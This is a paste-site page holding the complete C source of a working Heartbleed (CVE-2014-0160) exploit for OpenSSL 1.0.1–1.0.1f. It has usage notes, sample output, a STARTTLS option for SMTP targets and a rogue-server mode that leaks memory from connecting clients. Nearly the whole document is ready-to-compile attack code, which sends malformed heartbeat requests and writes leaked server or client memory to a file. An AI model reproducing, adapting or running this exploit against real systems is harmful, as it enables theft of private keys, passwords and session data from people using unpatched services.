View difference between Paste ID: R6Ap0FJM and LfCQYT1T
SHOW: | | - or go back to the newest paste.
1
/* 
2
* CVE-2014-0160 heartbleed OpenSSL information leak exploit
3
* =========================================================
4
* This exploit uses OpenSSL to create an encrypted connection
5
* and trigger the heartbleed leak. The leaked information is
6
* returned encrypted and is then decrypted, decompressed and
7
* wrote to a file to annoy IDS/forensics. The exploit can set 
8
* the heatbeart payload length arbitrarily or use two preset 
9
* values for 0x00 and MAX length. The vulnerability occurs due 
10
* to bounds checking not being performed on a heap value which 
11
* is user supplied and returned to the user as part of DTLS/TLS 
12
* heartbeat SSL extension. All versions of OpenSSL 1.0.1 to 
13
* 1.0.1f are known affected. You must run this against a target 
14
* which is linked to a vulnerable OpenSSL library using DTLS/TLS.
15
*
16
* Compiled on ArchLinux x86_64 gcc 4.8.2 20140206 w/OpenSSL 1.0.1g 
17
*
18
* E.g.
19
* $ gcc -lssl -lssl3 -lcrypto heartbleed.c -o heartbleed
20
* $ ./heartbleed -s 192.168.11.9 -p 443 -f leakme -t 1
21
* [ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit
22
* [ =============================================================
23
* [ connecting to 192.168.11.23 443/tcp
24
* [ connected to 192.168.11.23 443/tcp
25
* [ <3 <3 <3 heart bleed <3 <3 <3 <3
26
* [ heartbeat returned type=24 length=16416
27
* [ decrypting and decompressing SSL packet
28
* [ final record type=24, length=16384
29
* [ wrote 16384 bytes to file 'leakme'
30
* [ done.
31
* $ hexdump -C leakme
32
* - snip - snip  
33
*
34
* Added support for pre_cmd's and as an example use STARTTLS
35
* to leak from vulnerable SMTP services.
36
*
37
* Added experimental support for exploiting connecting clients
38
* with rogue server. Generate certificates with the following: 
39
*
40
* $ openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
41
* -keyout server.key -out server.crt
42
*
43
* todo: add udp/dtls support.
44
*
45
* - Hacker Fantastic
46
*   http://www.mdsec.co.uk
47
*
48
*/
49
#include <stdio.h>
50
#include <stdint.h>
51
#include <stdlib.h>
52
#include <string.h>
53
#include <unistd.h>
54
#include <getopt.h>
55
#include <signal.h>
56
#include <netdb.h>
57
#include <fcntl.h>
58
#include <sys/socket.h>
59
#include <sys/types.h>
60
#include <netinet/in.h>
61
#include <inttypes.h>
62
#include <openssl/bio.h>
63
#include <openssl/ssl.h>
64
#include <openssl/err.h>
65
#include <openssl/evp.h>
66
#include <openssl/tls1.h>
67
#include <openssl/rand.h>
68
#include <openssl/buffer.h>
69
70
#define n2s(c,s)((s=(((unsigned int)(c[0]))<< 8)| \
71
(((unsigned int)(c[1]))    )),c+=2)
72
#define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), \
73
c[1]=(unsigned char)(((s)    )&0xff)),c+=2)
74
75
typedef struct {
76
int socket;
77
SSL *sslHandle;
78
SSL_CTX *sslContext;
79
} connection;
80
81
typedef struct {
82
 unsigned char type;
83
 short version;
84
 unsigned int length;
85
 unsigned char hbtype;
86
 unsigned int payload_length;
87
 void* payload;
88
} heartbeat;
89
90
void ssl_init();
91
void usage();
92
int tcp_connect(char*,int);
93
int tcp_bind(char*, int);
94
connection* tls_connect(int);
95
connection* tls_bind(int);
96
int pre_cmd(int,int);
97
void* heartbleed(connection* ,unsigned int);
98
void* sneakyleaky(connection* ,char*, int);
99
100
int tcp_connect(char* server,int port){
101
int sd,ret;
102
struct hostent *host;
103
       struct sockaddr_in sa;
104
       host = gethostbyname(server);
105
       sd = socket(AF_INET, SOCK_STREAM, 0);
106
       if(sd==-1){
107
printf("[!] cannot create socket\n");
108
exit(0);
109
}
110
sa.sin_family = AF_INET;
111
       sa.sin_port = htons(port);
112
       sa.sin_addr = *((struct in_addr *) host->h_addr);
113
       bzero(&(sa.sin_zero),8);
114
printf("[ connecting to %s %d/tcp\n",server,port);
115
       ret = connect(sd,(struct sockaddr *)&sa, sizeof(struct sockaddr));
116
if(ret==0){
117
printf("[ connected to %s %d/tcp\n",server,port);
118
}
119
else{
120
printf("[!] FATAL: could not connect to %s %d/tcp\n",server,port);
121
exit(0);
122
}
123
return sd;
124
}
125
126
int tcp_bind(char* server, int port){
127
int sd, ret, val=1;
128
struct sockaddr_in sin;
129
struct hostent *host;
130
host = gethostbyname(server);
131
sd=socket(AF_INET,SOCK_STREAM,0);
132
if(sd==-1){
133
   	 printf("[!] cannot create socket\n");
134
exit(0);
135
}
136
memset(&sin,0,sizeof(sin));
137
sin.sin_addr=*((struct in_addr *) host->h_addr);
138
sin.sin_family=AF_INET;
139
sin.sin_port=htons(port);
140
   	setsockopt(sd,SOL_SOCKET,SO_REUSEADDR,&val,sizeof(val));
141
ret = bind(sd,(struct sockaddr *)&sin,sizeof(sin));
142
if(ret==-1){
143
printf("[!] cannot bind socket\n");
144
exit(0);
145
}
146
listen(sd,5);
147
return(sd);
148
}
149
150
151
void ssl_init(){
152
       SSL_load_error_strings();
153
       SSL_library_init();
154
       OpenSSL_add_all_digests();
155
       OpenSSL_add_all_algorithms();
156
       OpenSSL_add_all_ciphers();
157
}
158
159
connection* tls_connect(int sd){
160
       connection *c;
161
c = malloc(sizeof(connection));
162
       c->socket = sd;
163
       c->sslHandle = NULL;
164
       c->sslContext = NULL;
165
       c->sslContext = SSL_CTX_new(TLSv1_client_method());
166
       if(c->sslContext==NULL)
167
               ERR_print_errors_fp(stderr);
168
       c->sslHandle = SSL_new(c->sslContext);
169
       if(c->sslHandle==NULL)
170
               ERR_print_errors_fp(stderr);
171
       if(!SSL_set_fd(c->sslHandle,c->socket))
172
               ERR_print_errors_fp(stderr);
173
       if(SSL_connect(c->sslHandle)!=1)
174
               ERR_print_errors_fp(stderr);
175
       if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED ||
176
               c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){
177
               printf("[ warning: heartbeat extension is unsupported (try anyway)\n");
178
       }
179
return c;
180
}
181
182
connection* tls_bind(int sd){
183
int bytes;
184
       connection *c;
185
       char* buf;
186
buf = malloc(4096);
187
memset(buf,0,4096);
188
c = malloc(sizeof(connection));
189
       c->socket = sd;
190
       c->sslHandle = NULL;
191
       c->sslContext = NULL;
192
       c->sslContext = SSL_CTX_new(TLSv1_server_method());
193
       if(c->sslContext==NULL)
194
               ERR_print_errors_fp(stderr);
195
SSL_CTX_set_options(c->sslContext, SSL_OP_ALL | SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3);
196
SSL_CTX_SRP_CTX_init(c->sslContext);
197
SSL_CTX_use_certificate_file(c->sslContext, "./server.crt", SSL_FILETYPE_PEM);
198
SSL_CTX_use_PrivateKey_file(c->sslContext, "./server.key", SSL_FILETYPE_PEM);       
199
if(!SSL_CTX_check_private_key(c->sslContext)){
200
printf("[!] FATAL: private key does not match the certificate public key\n");
201
exit(0);
202
}
203
c->sslHandle = SSL_new(c->sslContext);
204
       if(c->sslHandle==NULL)
205
               ERR_print_errors_fp(stderr);
206
       if(!SSL_set_fd(c->sslHandle,c->socket))
207
               ERR_print_errors_fp(stderr);
208
       int rc = SSL_accept(c->sslHandle);
209
printf ("[ SSL connection using %s\n", SSL_get_cipher (c->sslHandle));
210
bytes = SSL_read(c->sslHandle, buf, 4095);
211
printf("[ recieved: %d bytes - showing output\n%s\n[\n",bytes,buf);
212
if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED ||
213
               c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){
214
               printf("[ warning: heartbeat extension is unsupported (try anyway)\n");
215
       }
216
       return c;
217
}
218
219
int pre_cmd(int sd,int verbose){
220
/* this function can be used to send commands to a plain-text
221
service or client before heartbleed exploit attempt. e.g. STARTTLS */
222
int rc;
223
char* buffer;
224
char* hello = "EHLO test\n";
225
char* start = "STARTTLS\n"; 
226
buffer = malloc(2049);
227
memset(buffer,0,2049);
228
rc = read(sd,buffer,2048);
229
printf("[ banner: %s",buffer);
230
send(sd,hello,strlen(hello),0);
231
memset(buffer,0,2049);
232
rc = read(sd,buffer,2048);
233
if(verbose==1){
234
printf("%s\n",buffer);
235
}
236
send(sd,start,strlen(start),0);
237
memset(buffer,0,2049);
238
rc = read(sd,buffer,2048);
239
if(verbose==1){
240
printf("%s\n",buffer);
241
}
242
return sd;
243
}
244
245
void* heartbleed(connection *c,unsigned int type){
246
unsigned char *buf, *p;
247
       int ret;
248
buf = OPENSSL_malloc(1 + 2);
249
       p = buf;
250
       *p++ = TLS1_HB_REQUEST;
251
switch(type){
252
case 0:
253
s2n(0x0,p);
254
break;
255
case 1:
256
s2n(0xffff,p);
257
break;
258
default:
259
printf("[ setting heartbeat payload_length to %u\n",type);
260
s2n(type,p);
261
break;
262
}
263
printf("[ <3 <3 <3 heart bleed <3 <3 <3 <3\n");
264
       ret = ssl3_write_bytes(c->sslHandle, TLS1_RT_HEARTBEAT, buf, 3);
265
       OPENSSL_free(buf);
266
return c;
267
}
268
269
void* sneakyleaky(connection *c,char* filename, int verbose){
270
char *p;
271
       int ssl_major,ssl_minor,al;
272
       int enc_err,n,i;
273
       SSL3_RECORD *rr;
274
       SSL_SESSION *sess;
275
SSL* s;
276
       unsigned char md[EVP_MAX_MD_SIZE];
277
       short version;
278
       unsigned mac_size, orig_len;
279
       size_t extra;
280
       rr= &(c->sslHandle->s3->rrec);
281
       sess=c->sslHandle->session;
282
       s = c->sslHandle;
283
       if (c->sslHandle->options & SSL_OP_MICROSOFT_BIG_SSLV3_BUFFER)
284
               extra=SSL3_RT_MAX_EXTRA;
285
       else
286
               extra=0;
287
       if ((s->rstate != SSL_ST_READ_BODY) ||
288
               (s->packet_length < SSL3_RT_HEADER_LENGTH)) {
289
                       n=ssl3_read_n(s, SSL3_RT_HEADER_LENGTH, s->s3->rbuf.len, 0);
290
                       if (n <= 0)
291
                               goto apple; 
292
                       s->rstate=SSL_ST_READ_BODY;
293
                       p=s->packet;
294
                       rr->type= *(p++);
295
                       ssl_major= *(p++);
296
                       ssl_minor= *(p++);
297
                       version=(ssl_major<<8)|ssl_minor;
298
                       n2s(p,rr->length);
299
if(rr->type==24){
300
printf("[ heartbeat returned type=%d length=%u\n",rr->type, rr->length);
301
}
302
else{
303
printf("[ incorrect record type=%d length=%u returned\n",rr->type,rr->length);
304
s->packet_length=0;
305
goto apple;
306
}
307
       }
308
       if (rr->length > s->packet_length-SSL3_RT_HEADER_LENGTH){
309
               i=rr->length;
310
               n=ssl3_read_n(s,i,i,1);
311
               if (n <= 0) goto apple; 
312
       }
313
printf("[ decrypting and decompressing SSL packet\n");
314
       s->rstate=SSL_ST_READ_HEADER; 
315
       rr->input= &(s->packet[SSL3_RT_HEADER_LENGTH]);
316
       rr->data=rr->input;
317
       tls1_enc(s,0);
318
       if((sess != NULL) &&
319
           (s->enc_read_ctx != NULL) &&
320
           (EVP_MD_CTX_md(s->read_hash) != NULL))
321
               {
322
               unsigned char *mac = NULL;
323
               unsigned char mac_tmp[EVP_MAX_MD_SIZE];
324
               mac_size=EVP_MD_CTX_size(s->read_hash);
325
               OPENSSL_assert(mac_size <= EVP_MAX_MD_SIZE);
326
               orig_len = rr->length+((unsigned int)rr->type>>8);
327
               if(orig_len < mac_size ||
328
                 (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE &&
329
                  orig_len < mac_size+1)){
330
                       al=SSL_AD_DECODE_ERROR;
331
                       SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_LENGTH_TOO_SHORT);
332
               }
333
               if (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE){
334
                       mac = mac_tmp;
335
                       ssl3_cbc_copy_mac(mac_tmp, rr, mac_size, orig_len);
336
                       rr->length -= mac_size;
337
               }
338
               else{
339
                       rr->length -= mac_size;
340
                       mac = &rr->data[rr->length];
341
               }
342
               i = tls1_mac(s,md,0);
343
               if (i < 0 || mac == NULL || CRYPTO_memcmp(md, mac, (size_t)mac_size) != 0)
344
                       enc_err = -1;
345
               if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra+mac_size)
346
                       enc_err = -1;
347
               }
348
       if(enc_err < 0){
349
               al=SSL_AD_BAD_RECORD_MAC;
350
               SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DECRYPTION_FAILED_OR_BAD_RECORD_MAC);
351
               goto apple;
352
       }
353
       if(s->expand != NULL){
354
               if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra) {
355
                       al=SSL_AD_RECORD_OVERFLOW;
356
                       SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_COMPRESSED_LENGTH_TOO_LONG);
357
                       goto apple;
358
                       }
359
               if (!ssl3_do_uncompress(s)) {
360
                       al=SSL_AD_DECOMPRESSION_FAILURE;
361
                       SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_BAD_DECOMPRESSION);
362
                       goto apple;
363
                       }
364
               }
365
       if (rr->length > SSL3_RT_MAX_PLAIN_LENGTH+extra) {
366
               al=SSL_AD_RECORD_OVERFLOW;
367
               SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DATA_LENGTH_TOO_LONG);
368
               goto apple;
369
       }
370
       rr->off=0;
371
       s->packet_length=0;
372
       if(verbose==1){
373
               { unsigned int z; for (z=0; z<rr->length; z++) printf("%02X%c",rr->data[z],((z+1)%16)?' ':'\n'); }
374
               printf("\n");
375
       }
376
printf("[ final record type=%d, length=%u\n", rr->type, rr->length);
377
int fd = open(filename,O_RDWR|O_CREAT|O_APPEND,0700);
378
       write(fd,s->s3->rrec.data,s->s3->rrec.length);
379
       close(fd);
380
printf("[ wrote %d bytes to file '%s'\n",rr->length, filename);
381
printf("[ done.\n");
382
exit(0);
383
apple:
384
       printf("[ problem handling SSL record packet - wrong type?\n");
385
}
386
387
void usage(){
388
printf("[\n");
389
printf("[ --server|-s <ip/dns>    - the server to target\n");
390
printf("[ --port|-p   <port>      - the port to target\n");
391
printf("[ --file|-f   <filename>  - file to write data to\n");
392
printf("[ --bind|-b   <ip>        - bind to ip for exploiting clients\n");
393
printf("[ --precmd|-c             - send precmd buffer (STARTTLS)\n");
394
printf("[ --type|-t               - select exploit to try\n");
395
printf("[                           0 = null length\n");
396
printf("[	    1 = max leak\n");
397
printf("[	    n = heartbeat payload_length\n");
398
printf("[\n");
399
printf("[ --verbose|-v            - output leak to screen\n");
400
printf("[ --help|-h               - this output\n");
401
printf("[\n");
402
exit(0);
403
}
404
405
int main(int argc, char* argv[]){
406
int ret, port, userc, index;
407
int type = 1, udp = 0, verbose = 0, bind = 0, precmd = 0;
408
struct hostent *h;
409
connection* c;
410
char *host, *file;
411
int ihost = 0, iport = 0, ifile = 0, itype = 0;
412
printf("[ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit\n");
413
printf("[ =============================================================\n");
414
       static struct option options[] = {
415
       	{"server", 1, 0, 's'},
416
       {"port", 1, 0, 'p'},
417
{"file", 1, 0, 'f'},
418
{"type", 1, 0, 't'},
419
{"bind", 1, 0, 'b'},
420
{"verbose", 0, 0, 'v'},
421
{"precmd", 0, 0, 'c'},
422
{"help", 0, 0,'h'}
423
       };
424
while(userc != -1) {
425
       userc = getopt_long(argc,argv,"s:p:f:t:b:cvh",options,&index);	
426
       	switch(userc) {
427
              case -1:
428
                       break;
429
       	        case 's':
430
if(ihost==0){
431
ihost = 1;
432
h = gethostbyname(optarg);	
433
if(h==NULL){
434
printf("[!] FATAL: unknown host '%s'\n",optarg);
435
exit(1);
436
}
437
host = malloc(strlen(optarg) + 1);
438
sprintf(host,"%s",optarg);
439
              }
440
break;
441
               case 'p':
442
if(iport==0){
443
port = atoi(optarg);
444
iport = 1;
445
}
446
               	        break;
447
case 'f':
448
if(ifile==0){
449
file = malloc(strlen(optarg) + 1);
450
sprintf(file,"%s",optarg);
451
ifile = 1;
452
}
453
break;
454
case 't':
455
if(itype==0){
456
type = atoi(optarg);
457
itype = 1;
458
}
459
break;
460
case 'h':
461
usage();
462
break;
463
case 'b':
464
if(ihost==0){
465
ihost = 1;
466
host = malloc(strlen(optarg)+1);
467
sprintf(host,"%s",optarg);
468
bind = 1;
469
}
470
break;
471
case 'c':
472
precmd = 1;
473
break;
474
case 'v':
475
verbose = 1;
476
break;
477
default:
478
break;
479
}
480
}
481
if(ihost==0||iport==0||ifile==0||itype==0){
482
printf("[ try --help\n");
483
exit(0);
484
}
485
ssl_init();
486
if(bind==0){
487
ret = tcp_connect(host, port);
488
if(precmd==1){
489
pre_cmd(ret, verbose);
490
}
491
c = tls_connect(ret);
492
heartbleed(c,type);
493
sneakyleaky(c,file,verbose);
494
exit(0);
495
}
496
else{
497
int sd, pid, i;
498
ret = tcp_bind(host, port);
499
while(1){
500
     	 sd=accept(ret,0,0);
501
if(sd==-1){
502
printf("[!] FATAL: problem with accept()\n");
503
exit(0);
504
}
505
if(pid=fork()){
506
close(sd);
507
}
508
     	 else{
509
c = tls_bind(sd);
510
if(precmd==1){
511
pre_cmd(ret, verbose);
512
}
513
heartbleed(c,type);
514
sneakyleaky(c,file,verbose);
515
exit(0);
516
}
517
}
518
}
519
}